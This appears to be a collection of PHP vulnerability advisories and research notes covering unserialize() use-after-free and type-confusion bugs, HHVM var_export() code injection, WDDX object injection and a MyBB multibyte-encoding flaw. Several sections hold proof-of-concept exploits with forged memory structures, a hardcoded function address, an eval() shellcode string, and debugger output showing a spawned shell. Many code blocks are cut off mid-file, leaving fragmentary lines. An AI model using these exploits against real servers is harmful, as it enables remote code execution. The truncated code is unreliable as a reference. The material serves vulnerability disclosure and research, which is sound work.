188 |
189 | ``` php
190 | class ryat {
191 | var $hi;
192 | function __wakeup() {
193 | echo 'hi';
194 | }
195 | function __destruct() {
196 | echo $this->hi, "\n";
197 | }
198 | }
199 |
200 | wddx_deserialize(wddx_serialize_value($_GET['arr']);
201 | ```
202 |
203 | 通过下面的方式,可以成功执行 \_\_wakeup() 方法和 \_\_destruct() 方法:)
204 |
205 | ``` php
206 | ?arr[php_class_name]=ryat&arr[hi]=ryat
207 | ```
208 |
209 | #### ii) 利用 $\_SESSION 进行序列化和反序列化
210 |
211 | PHP 在存储和读取 $\_SESSION 时会对数据进行序列化和反序列化,默认情况下与 serialize() 函数和 unserialize() 函数的处理方式相同,但是 PHP 提供了一个 session.serialize\_handler 配置选项,可以使用 WDDX 格式进行序列化和反序列化:)
212 |
213 | ``` php
214 | ini_set('session.serialize_handler', 'wddx');
215 | session_start();
216 | $_SESSION['arr'] = $_GET['arr'];
217 | ```
218 |
219 | 通过下面的方式,就可以伪造成对象的 WDDX 结构:)
220 |
221 | ``` php
222 | ?arr[php_class_name]=ryat&arr[hi]=ryat
223 | ```
224 |
--------------------------------------------------------------------------------
/research/pch-015.md:
--------------------------------------------------------------------------------
1 | ### Code Injection Vulnerability via unserialize() Function and var_export() Function in HHVM 3
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.10.29
3 |
4 | HHVM's var_export() function wrongly handles an undefined class, and unserialize() function wrongly handles an invalid classname.
5 |
6 | HHVM's var_export() function
7 | -------------------
8 | HHVM's var_export() function had a parse error when exporting an undefined class:**
9 |
10 | ``` php
11 | = 5.1:
19 |
20 | ```php
21 | object(__PHP_Incomplete_Class)#1 (1) {
22 | ["__PHP_Incomplete_Class_Name"]=>
23 | string(7) "phpinfo"
24 | }
25 | __PHP_Incomplete_Class::__set_state(array(
26 | '__PHP_Incomplete_Class_Name' => 'phpinfo',
27 | ))
28 | ```
29 | The outputs in HHVM 3:
30 |
31 | ``` php
32 | object(__PHP_Incomplete_Class)#1 (1) {
33 | ["__PHP_Incomplete_Class_Name"]=>
34 | string(7) "phpinfo"
35 | }
36 | phpinfo::__set_state(array(
37 | ))
38 | ```
39 |
40 | HHVM's unserialize() funciton
41 | -------------------
42 | HHVM's unserialize() funciton had a classname parse error when unserializing object:**
43 |
44 | ``` php
45 | = 5.1:
52 |
53 | ``` php
54 | Notice: unserialize(): Error at offset 13 of 24 bytes in ...
55 | bool(false)
56 | ```
57 | The outputs in HHVM 3:
58 |
59 | ``` php
60 | object(__PHP_Incomplete_Class)#1 (1) {
61 | ["__PHP_Incomplete_Class_Name"]=>
62 | string(12) "phpinfo();/*"
63 | }
64 | ```
65 |
66 | Code Injection Vulnerability
67 | -------------------
68 | Exploit these bug, it is possible to inject arbitrary code. The codes below shows a dangerous way to use unserialize() function and var_export() function :)**
69 |
70 | ``` php
71 | Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.10.31
3 |
4 | ``` php
5 | alert(/xss/)');
7 | ```
8 | The outputs in PHP:
9 | ``` php
10 | Notice: unserialize(): Error at offset 0 of 29 bytes in ...
11 | ```
12 | The outputs in HHVM:
13 | ``` php
14 | Notice: Unable to unserialize: []. Expected ':' but got 's'. in ...
15 | ```
16 | This issue can be exploited on a number of popular applications, such as: WordPress :)
17 |
--------------------------------------------------------------------------------
/research/pch-017.md:
--------------------------------------------------------------------------------
1 | ### About PHP's unserialize() Function Use-After-Free Vulnerability
2 | > Taoguang Chen - 2015.1.24 @Ryat
3 |
4 | i. Leak Arbitrary Memory
5 | -------------------
6 |
7 | ##### Overwrite an fake string ZVAL POC:
8 | ``` php
9 | >= 8;
41 | }
42 | return $out;
43 | }
44 | ```
45 |
46 | ii. Execute Arbitrary Code
47 | -------------------
48 |
49 | ### Overwrite an fake object ZVAL PoC:
50 | ``` php
51 | >= 8;
82 | }
83 | return $out;
84 | }
85 | ```
86 |
87 | iii. Bypass Syntax Logical
88 | -------------------
89 |
90 | ### Code sample 1:
91 | ``` php
92 | $data = unserialize($_GET['data']);
93 |
94 | if (is_int($data['ccc'])) {
95 | $ddd = 'ddd';
96 | $eee = 'eee';
97 | $fff = 'fff'.$_GET['fff'];
98 | $ggg = 'ggg';
99 | var_dump($data['ccc']);
100 | } else {
101 | echo 'fuck';
102 | }
103 | ```
104 |
105 | Overwrite $data['ccc'] and bypass in_int()
106 |
107 | PoC:
108 | ``` php
109 | foo.php?data=a:3:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;i:1;i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;s:3:"ccc";R:5;}&fff=ryat
110 | // Result: string(7) "fffryat"
111 | ```
112 |
113 | Code sample 2:
114 | ``` php
115 | Taoguang Chen - 2014.12.15 [@Ryat](http://weibo.com/u/3202054374)
3 |
4 | 多字节字符解析模式
5 | -------------------
6 | PHP 从 5.3 起引入了多字节字符解析模式,在 5.3 版本中开启该模式较为麻烦,需要在编译时开启相应参数,并在 php.ini 文件和脚本中进行配置。
7 | 但 PHP 从 5.4 起默认支持多字节字符解析模式,只需通过 php.ini 文件中配置即可开启该模式。
8 |
9 | 我们先来看看 PHP 提供的一些配置选项:
10 | ``` php
11 | zend.multibyte "0" PHP_INI_PERDIR
12 | zend.script_encoding NULL PHP_INI_ALL
13 | ```
14 |
15 | 配置选项 zend.multibyte 用于开启多字节字符解析模式,配置选项 zend.script_encoding 用于设置脚本的编码。
16 | 比如我们想让 PHP 开启多字节字符解析模式并把脚本的字符编码设置为 CP936 编码,只需要在 php.ini 文件中做如下设置:
17 | ``` php
18 | zend.multibyte = On
19 | zend.script_encoding = CP936
20 | ```
21 |
22 | 这里还有一个重要的配置选项:
23 | ``` php
24 | mbstring.internal_encoding NULL PHP_INI_ALL
25 | ```
26 |
27 | 该选项用来设置 mbstring 模块函数内部处理的默认字符集编码,在多字节字符解析模式下作为内部字符集编码。
28 | 如果该选项没有配置,内部字符集编码将受其他一些配置选项的影响,PHP 5.5 及之前的版本内部字符集编码默认为 ISO-8859-1 编码,PHP 5.6 默认为 UTF-8 编码。
29 |
30 | 接下来我们简单了解下 PHP 是如何实现多字节字符解析模式的。
31 | ``` php
32 | ZEND_API int open_file_for_scanning(zend_file_handle *file_handle TSRMLS_DC)
33 | {
34 | …
35 | if (CG(multibyte)) {
36 | SCNG(script_org) = (unsigned char*)buf;
37 | SCNG(script_org_size) = size;
38 | SCNG(script_filtered) = NULL;
39 |
40 | zend_multibyte_set_filter(NULL TSRMLS_CC);
41 |
42 | if (SCNG(input_filter)) {
43 | if ((size_t)-1 == SCNG(input_filter)(&SCNG(script_filtered), &SCNG(script_filtered_size), SCNG(script_org), SCNG(script_org_size) TSRMLS_CC)) {
44 | zend_error_noreturn(E_COMPILE_ERROR, "Could not convert the script from the detected "
45 | "encoding \"%s\" to a compatible encoding", zend_multibyte_get_encoding_name(LANG_SCNG(script_encoding)));
46 | }
47 | buf = (char*)SCNG(script_filtered);
48 | size = SCNG(script_filtered_size);
49 | }
50 | }
51 | SCNG(yy_start) = (unsigned char *)buf - offset;
52 | yy_scan_buffer(buf, size TSRMLS_CC);
53 | ```
54 |
55 | PHP 的词法分析器在分析脚本代码输入流前,会判断是否开启了多字节字符解析模式,如果开启,则会调用 zend_multibyte_set_filter 设置输入流的过滤器。当内部字符集编码和 zend.script_encoding 所设置的脚本字符集编码不相同时,会调用 encoding_filter_script_to_internal 过滤器进行字符集编码转换。
56 | ``` php
57 | static size_t encoding_filter_script_to_internal(unsigned char **to, size_t *to_length, const unsigned char *from, size_t from_length TSRMLS_DC)
58 | {
59 | const zend_encoding *internal_encoding = zend_multibyte_get_internal_encoding(TSRMLS_C);
60 | ZEND_ASSERT(internal_encoding);
61 | return zend_multibyte_encoding_converter(to, to_length, from, from_length, internal_encoding, LANG_SCNG(script_encoding) TSRMLS_CC);
62 | }
63 | ```
64 |
65 | 该过滤器调用 zend_multibyte_encoding_converter 把输入流按照 zend.script_encoding 所设置的脚本字符集编码识别,并转换为内部字符集编码的输入流,然后进行词法分析。
66 |
67 | 简单来说,在多字节字符解析模式下,PHP 会把脚本中的代码按照设置的多字节字符集编码进行识别,并转换成内部字符集编码的代码,然后进行词法分析并执行脚本。
68 |
69 | 潜在问题及安全隐患
70 | -------------------
71 |
72 | 由上面的分析可以看到,多字节字符解析模式下,涉及到了对脚本的字符集编码识别及转换的过程,而这一过程可能会导致一些问题。
73 |
74 | 比如下面这段代码:
75 | ``` php
76 | $str = '{0xab}\'';
77 | // 这里 {0xab} 表示一个十六进制编码为 ab 的单字节字符
78 | ```
79 |
80 | 当在开启多字节字符解析模式并且脚本的字符集编码设置为 CP936 时,因为 \ 的十六进制编码是 5c,这时 {0xab}\ 会被识别为一个有效的 CP396 编码的多字节字符 {0xab0x5c},再被转换为一个 utf8 编码的多字节字符 {0xe70x8e0x95}(内部字符集编码并没有限制,这里只是以 UTF-8 为例),因为 PHP 词法分析器是以字符为单位进行扫描并分析代码的,这时 PHP 分析并执行的代码段就变成了:
81 | ``` php
82 | $str = '{0xe70x8e0x95}'';
83 | // {0xe70x8e0x95} 表示为一个有效的 utf-8 编码的多字节字符
84 | ```
85 |
86 | 显而易见,这两段数据流的词法解析结果是完全不同的,后面的代码执行时会出现语法错误。
87 |
88 | 事实上,PHP 提供了一些处理多字节编码数据的函数,但同样也有很多函数只能处理单字节编码数据,比如 var_export() 函数以及 addslashes() 函数。这两个函数在处理数据时始终把输入和输出的数据按照单字节字符进行处理,这时如果在 PHP 多字节字符解析解析模式下使用并依赖于这些函数所提供的功能,可能会导致一些严重的安全问题。
89 |
90 | 实例 - MyBB <= 1.8.3 代码执行漏洞
91 | -------------------
92 | ``` php
93 | class diskCacheHandler
94 | {
95 | ...
96 | function put($name, $contents)
97 | {
98 | global $mybb;
99 | if(!is_writable(MYBB_ROOT."cache"))
100 | {
101 | $mybb->trigger_generic_error("cache_no_write");
102 | return false;
103 | }
104 |
105 | $cache_file = fopen(MYBB_ROOT."cache/{$name}.php", "w") or $mybb->trigger_generic_error("cache_no_write");
106 | flock($cache_file, LOCK_EX);
107 | $cache_contents = "";
109 | fwrite($cache_file, $cache_contents);
110 | flock($cache_file, LOCK_UN);
111 | fclose($cache_file);
112 |
113 | return true;
114 | }
115 | ```
116 |
117 | MyBB 的 put() 方法用于写缓存文件操作,这个方法使用了 var_export() 函数,在默认的 PHP 配置环境下,这样的处理是安全可靠的,但从上面的分析我们可以知道,如果开启了多字节字符解析模式,可能就会存在安全问题了。
118 |
119 | 比如在 zend.multibyte = On 和 zend.script_encoding = CP936 的配置环境下,我们提交如下的字符串数据:
120 | ``` php
121 | {0xab}';phpinfo();/*
122 | ```
123 |
124 | 这个字符串数据经过 put() 方法写入缓存文件后,会变为如下代码:
125 | ``` php
126 | '{0xab}\';phpinfo();/*';
127 | ```
128 |
129 | 这时 PHP 词法分析器在分析这段代码前,会进行字符集编码识别和转换,{0xab}\ 会被识别为一个有效的 CP936 编码的多字节字符 {0xab0x5c},并被转换为一个 utf8 编码的多字节字符 {0xe70x8e0x95}(为了方便说明,这里依旧假设默认的内部字符集编码为 UTF-8,实际上这个并不影响执行结果),因此 PHP 实际执行的代码如下:
130 | ``` php
131 | '{0xe70x8e0x95}';phpinfo();/*';
132 | ```
133 |
134 | 你会发现,可爱的 phpinfo() 执行了:)
135 |
136 | PoC or EXP: 缺
137 |
138 | EOF
139 | -------------------
140 |
--------------------------------------------------------------------------------
/research/pch-019.md:
--------------------------------------------------------------------------------
1 | ### Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone [Unfix Still]
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20
4 |
5 | > A Type Confusion Vulnerability was discovered in unserialize() with DateTimeZone object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6.x
10 | Affected is PHP 5.5.x
11 |
12 | Credits
13 | ------------
14 | This vulnerability was disclosed by Taoguang Chen.
15 |
16 | Description
17 | ------------
18 |
19 | ``` c
20 | static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
21 | {
22 | zval **z_timezone = NULL;
23 | zval **z_timezone_type = NULL;
24 |
25 | if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
26 | if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
27 | convert_to_long(*z_timezone_type);
28 | if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
29 | return SUCCESS;
30 | }
31 | }
32 | }
33 | return FAILURE;
34 | }
35 | ...
36 | static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char *tz) /* {{{ */
37 | {
38 | timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
39 | int dst, not_found;
40 | char *orig_tz = tz;
41 |
42 | dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, ¬_found, DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
43 | if (not_found) {
44 | php_error_docref(NULL, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);
45 | ```
46 |
47 | The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory address, and outputing a string via an warning level error message that start from this memory address.
48 |
49 | Proof of Concept Exploit
50 | ------------
51 | The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
52 |
53 | ``` php
54 |
59 | ```
60 |
61 | Test the PoC on the command line, then show warning level error message:
62 |
63 | ``` php
64 | $ lldb php
65 | (lldb) target create "php"
66 | Current executable set to 'php' (x86_64).
67 | (lldb) run test/test.php
68 | Process 889 launched: '/usr/bin/php' (x86_64)
69 |
70 | Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (UH??AWAVAUATSH??8) in /test/test.php on line 3
71 | Process 889 exited with status = 0 (0x00000000)
72 | ```
73 |
--------------------------------------------------------------------------------
/research/pch-020.md:
--------------------------------------------------------------------------------
1 | ### Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20
3 |
4 | A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
5 |
6 | Affected Versions
7 | ------------
8 | Affected is PHP 5.6 < 5.6.6
9 | Affected is PHP 5.5 < 5.5.22
10 | Affected is PHP 5.4 < 5.4.38
11 | Affected is PHP 5.3 <= 5.3.29
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ``` c
21 | static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)
22 | {
23 | zval *z_date;
24 | zval *z_timezone;
25 | zval *z_timezone_type;
26 | zval tmp_obj;
27 | timelib_tzinfo *tzi;
28 | php_timezone_obj *tzobj;
29 |
30 | z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
31 | if (z_date) {
32 | convert_to_string(z_date);
33 | z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1);
34 | if (z_timezone_type) {
35 | convert_to_long(z_timezone_type);
36 | z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
37 | if (z_timezone) {
38 | convert_to_string(z_timezone);
39 |
40 | ...
41 |
42 | static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
43 | {
44 | zval **z_timezone = NULL;
45 | zval **z_timezone_type = NULL;
46 |
47 | if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
48 | if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
49 | convert_to_long(*z_timezone_type);
50 | if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
51 | return SUCCESS;
52 | }
53 | }
54 | }
55 | return FAILURE;
56 | }
57 | ```
58 |
59 | The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
60 |
61 | Proof of Concept Exploit
62 | ------------
63 | The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
64 |
65 | ``` php
66 | >= 8;
110 | }
111 | return $out;
112 | }
113 |
114 | ?>
115 | ```
116 |
117 | Test the PoC on the command line, then any PHP code can be executed:
118 |
119 | ``` shell
120 | $ lldb php
121 | (lldb) target create "php"
122 | Current executable set to 'php' (x86_64).
123 | (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
124 | Process 13472 launched: '/usr/bin/php' (x86_64)
125 | sh: no job control in this shell
126 | sh-3.2$ php -v
127 | PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
128 | Copyright (c) 1997-2014 The PHP Group
129 | Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
130 | sh-3.2$ exit
131 | exit
132 | Process 13472 exited with status = 0 (0x00000000)
133 | (lldb)
134 | ```
135 |
136 | The Fix
137 | ------------
138 | The latest PHP 5.4/5.5/5.6 series updates has fixed these vulnerabilities, the patch available to PHP 5.3 serie.
139 |
140 | ``` diff
141 | diff --git a/php-5.3.29/ext/date/php_date.c b/php-5.3.29-fixed/ext/date/php_date.c
142 | index 75bdf33..7b646f8 100644
143 | --- a/php-5.3.29/ext/date/php_date.c
144 | +++ b/php-5.3.29-fixed/ext/date/php_date.c
145 | @@ -2573,12 +2573,9 @@ static int php_date_initialize_from_hash(zval **return_value, php_date_obj **dat
146 | timelib_tzinfo *tzi;
147 | php_timezone_obj *tzobj;
148 |
149 | - if (zend_hash_find(myht, "date", 5, (void**) &z_date) == SUCCESS) {
150 | - convert_to_string(*z_date);
151 | - if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
152 | - convert_to_long(*z_timezone_type);
153 | - if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
154 | - convert_to_string(*z_timezone);
155 | + if (zend_hash_find(myht, "date", 5, (void**) &z_date) == SUCCESS && Z_TYPE_PP(z_date) == IS_STRING) {
156 | + if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS && Z_TYPE_PP(z_timezone_type) == IS_LONG) {
157 | + if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS && Z_TYPE_PP(z_timezone) == IS_STRING) {
158 |
159 | switch (Z_LVAL_PP(z_timezone_type)) {
160 | case TIMELIB_ZONETYPE_OFFSET:
161 | ```
162 |
--------------------------------------------------------------------------------
/research/pch-021.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerability in unserialize() [CVE-2015-2787]
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.3 - Release Date: 2015.3.20
3 |
4 | A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.
5 |
6 | Affected Versions
7 | ------------
8 | Affected is PHP 5.6 < 5.6.7
9 | Affected is PHP 5.5 < 5.5.23
10 | Affected is PHP 5.4 < 5.4.39
11 | Affected is PHP 5 <= 5.3.29
12 | Affected is PHP 4 <= 4.4.9
13 |
14 | Credits
15 | ------------
16 | This vulnerability was disclosed by Taoguang Chen.
17 |
18 | Description
19 | ------------
20 | ``` c
21 | static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
22 | {
23 | zval retval;
24 | zval fname;
25 |
26 | if (Z_TYPE_P(rval) != IS_OBJECT) {
27 | return 0;
28 | }
29 |
30 | //??? TODO: resize before
31 | if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
32 | return 0;
33 | }
34 |
35 | ZVAL_DEREF(rval);
36 | if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
37 | zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
38 | ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
39 | BG(serialize_lock)++;
40 | call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);
41 | ```
42 |
43 | A specially defined __wakeup() magic method lead to various problems.
44 |
45 | The simple code:
46 | ``` php
47 | var);
55 | // $this->var = 'ryat';
56 | }
57 | }
58 |
59 | $data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');
60 |
61 | ?>
62 | ```
63 |
64 | Object properties assignment or destroy operation leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
65 |
66 | Proof of Concept Exploit
67 | ------------
68 | The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
69 |
70 | ``` php
71 | >= 8;
116 | }
117 | return $out;
118 | }
119 |
120 | class evilClass {
121 |
122 | public $var;
123 |
124 | function __wakeup() {
125 | unset($this->var);
126 | // $this->var = 'ryat';
127 | }
128 | }
129 |
130 | ?>
131 | ```
132 |
133 | Test the PoC on the command line, then any PHP code can be executed:
134 |
135 | ``` shell
136 | $ lldb php
137 | (lldb) target create "php"
138 | Current executable set to 'php' (x86_64).
139 | (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
140 | Process 13472 launched: '/usr/bin/php' (x86_64)
141 | sh: no job control in this shell
142 | sh-3.2$ php -v
143 | PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
144 | Copyright (c) 1997-2014 The PHP Group
145 | Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
146 | sh-3.2$ exit
147 | exit
148 | Process 13472 exited with status = 0 (0x00000000)
149 | (lldb)
150 | ```
151 |
--------------------------------------------------------------------------------
/research/pch-022.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerability in unserialize() with DateInterval
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.28 - Release Date: 2015.3.20
3 |
4 | A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
5 |
6 | Affected Versions
7 | ------------
8 | Affected is PHP 5.6 < 5.6.7
9 | Affected is PHP 5.5 < 5.5.23
10 | Affected is PHP 5.4 < 5.4.39
11 | Affected is PHP 5.3 <= 5.3.29
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ``` c
21 | static int php_date_interval_initialize_from_hash(zval **return_value, php_interval_obj **intobj, HashTable *myht TSRMLS_DC)
22 | {
23 | (*intobj)->diff = timelib_rel_time_ctor();
24 |
25 | #define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \
26 | do { \
27 | zval **z_arg = NULL; \
28 | if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
29 | convert_to_long(*z_arg); \
30 | (*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \
31 | } else { \
32 | (*intobj)->diff->member = (itype)def; \
33 | } \
34 | } while (0);
35 |
36 | #define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \
37 | do { \
38 | zval **z_arg = NULL; \
39 | if (zend_hash_find(myht, element, strlen(element) + 1, (void**) &z_arg) == SUCCESS) { \
40 | convert_to_string(*z_arg); \
41 | DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg)); \
42 | } else { \
43 | (*intobj)->diff->member = -1LL; \
44 | } \
45 | } while (0);
46 | ```
47 |
48 | The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
49 |
50 | Proof of Concept Exploit
51 | ------------
52 | The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
53 |
54 | ``` php
55 | >= 8;
99 | }
100 | return $out;
101 | }
102 |
103 | ?>
104 | ```
105 |
106 | Test the PoC on the command line, then any PHP code can be executed:
107 |
108 | ``` shell
109 | $ lldb php
110 | (lldb) target create "php"
111 | Current executable set to 'php' (x86_64).
112 | (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
113 | Process 13472 launched: '/usr/bin/php' (x86_64)
114 | sh: no job control in this shell
115 | sh-3.2$ php -v
116 | PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
117 | Copyright (c) 1997-2014 The PHP Group
118 | Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
119 | sh-3.2$ exit
120 | exit
121 | Process 13472 exited with status = 0 (0x00000000)
122 | (lldb)
123 | ```
124 |
--------------------------------------------------------------------------------
/research/pch-023.md:
--------------------------------------------------------------------------------
1 | # Type Confusion Vulnerability in SoapClient
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1 - Release Date: 2015.3.20
3 |
4 | A type confusion vulnerability was discovered in SoapClient object's __getCookies() method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely
5 |
6 | Affected Versions
7 | ------------
8 | Affected is PHP 5.6 < 5.6.7
9 | Affected is PHP 5.5 < 5.5.23
10 | Affected is PHP 5.4 < 5.4.39
11 | Affected is PHP 5.3 <= 5.3.29
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 | ``` c
20 | PHP_METHOD(SoapClient, __getCookies)
21 | {
22 | zval **cookies, *tmp;
23 |
24 | if (zend_parse_parameters_none() == FAILURE) {
25 | return;
26 | }
27 |
28 | array_init(return_value);
29 |
30 | if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) != FAILURE) {
31 | zend_hash_copy(Z_ARRVAL_P(return_value), Z_ARRVAL_P(*cookies), (copy_ctor_func_t) zval_add_ref, (void *)&tmp, sizeof(zval*));
32 | }
33 | }
34 | ```
35 |
36 | The Z_ARRVAL_P macro leads to pointing a fake array-type ZVAL in memory via a fake HashTable and a fake Bucket. This should result in arbitrary code execution.
37 |
38 | Proof of Concept Exploit
39 | ------------
40 | The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.14.
41 |
42 | ``` php
43 | "", 'uri' => ""));
56 | // $z->_cookies = $hashtable;
57 | $z->__getCookies();
58 |
59 | function setup_memory()
60 | {
61 | global $str, $hashtable;
62 |
63 | $base = 0x114000020;
64 | $bucket_addr = $base;
65 | $zval_delta = 0x100;
66 | $hashtable_delta = 0x200;
67 | $zval_addr = $base + $zval_delta;
68 | $hashtable_addr = $base + $hashtable_delta;
69 | $func_addr = 0x100351e3d; // zend_eval_string()'s address
70 |
71 | $bucket = "\x01\x00\x00\x00\x00\x00\x00\x00";
72 | $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00";
73 | $bucket .= ptr2str($bucket_addr + 3*8);
74 | $bucket .= ptr2str($zval_addr);
75 | $bucket .= ptr2str(0);
76 | $bucket .= ptr2str(0);
77 | $bucket .= ptr2str(0);
78 | $bucket .= ptr2str(0);
79 | $bucket .= ptr2str(0);
80 |
81 | $hashtable = "\x00\x00\x00\x00";
82 | $hashtable .= "\x00\x00\x00\x00";
83 | $hashtable .= "\x01\x00\x00\x00";
84 | $hashtable .= "\x00\x00\x00\x00";
85 | $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";
86 | $hashtable .= ptr2str(0);
87 | $hashtable .= ptr2str($bucket_addr);
88 | $hashtable .= ptr2str(0);
89 | $hashtable .= ptr2str(0);
90 | $hashtable .= ptr2str(0);
91 | $hashtable .= "\x00";
92 | $hashtable .= "\x00";
93 |
94 | $zval = ptr2str($hashtable_addr);
95 | $zval .= ptr2str(0);
96 | $zval .= "\x00\x00\x00\x00";
97 | $zval .= "\x04";
98 | $zval .= "\x00";
99 | $zval .= ptr2str(0);
100 | $zval .= ptr2str(0);
101 | $zval .= ptr2str(0);
102 |
103 | $shellcode = ptr2str(0);
104 | $shellcode .= ptr2str(0);
105 | $shellcode .= ptr2str(0);
106 | $shellcode .= ptr2str(0);
107 | $shellcode .= ptr2str($hashtable_addr + 6*8);
108 | $shellcode .= ptr2str(0);
109 | $shellcode .= ptr2str(0);
110 | $shellcode .= ptr2str($func_addr);
111 | $shellcode .= ptr2str($hashtable_addr + 9*8);
112 | $shellcode .= "\x65\x76\x61\x6c\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b\x27\x61\x72\x67\x76\x27\x5d\x5b\x31\x5d\x29\x3b\x00"; // eval($_SERVER['argv'][1]);
113 |
114 | $part = str_repeat("\x73", 4096);
115 | for ($j=0; $j>= 8;
134 | }
135 | return $out;
136 | }
137 |
138 | ?>
139 | ```
140 |
141 | Test the PoC on the command line, then any PHP code can be executed:
142 |
143 | ``` shell
144 | $ lldb php
145 | (lldb) target create "php"
146 | Current executable set to 'php' (x86_64).
147 | (lldb) run tcpoc.php 'system\(sh\)\;exit\;'
148 | Process 2606 launched: '/usr/bin/php' (x86_64)
149 | sh: no job control in this shell
150 | sh-3.2$ php -v
151 | PHP 5.5.14 (cli) (built: Jan 8 2015 22:33:37)
152 | Copyright (c) 1997-2014 The PHP Group
153 | Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
154 | sh-3.2$ exit
155 | exit
156 | Process 2606 exited with status = 0 (0x00000000)
157 | (lldb)
158 | ```
159 |
--------------------------------------------------------------------------------
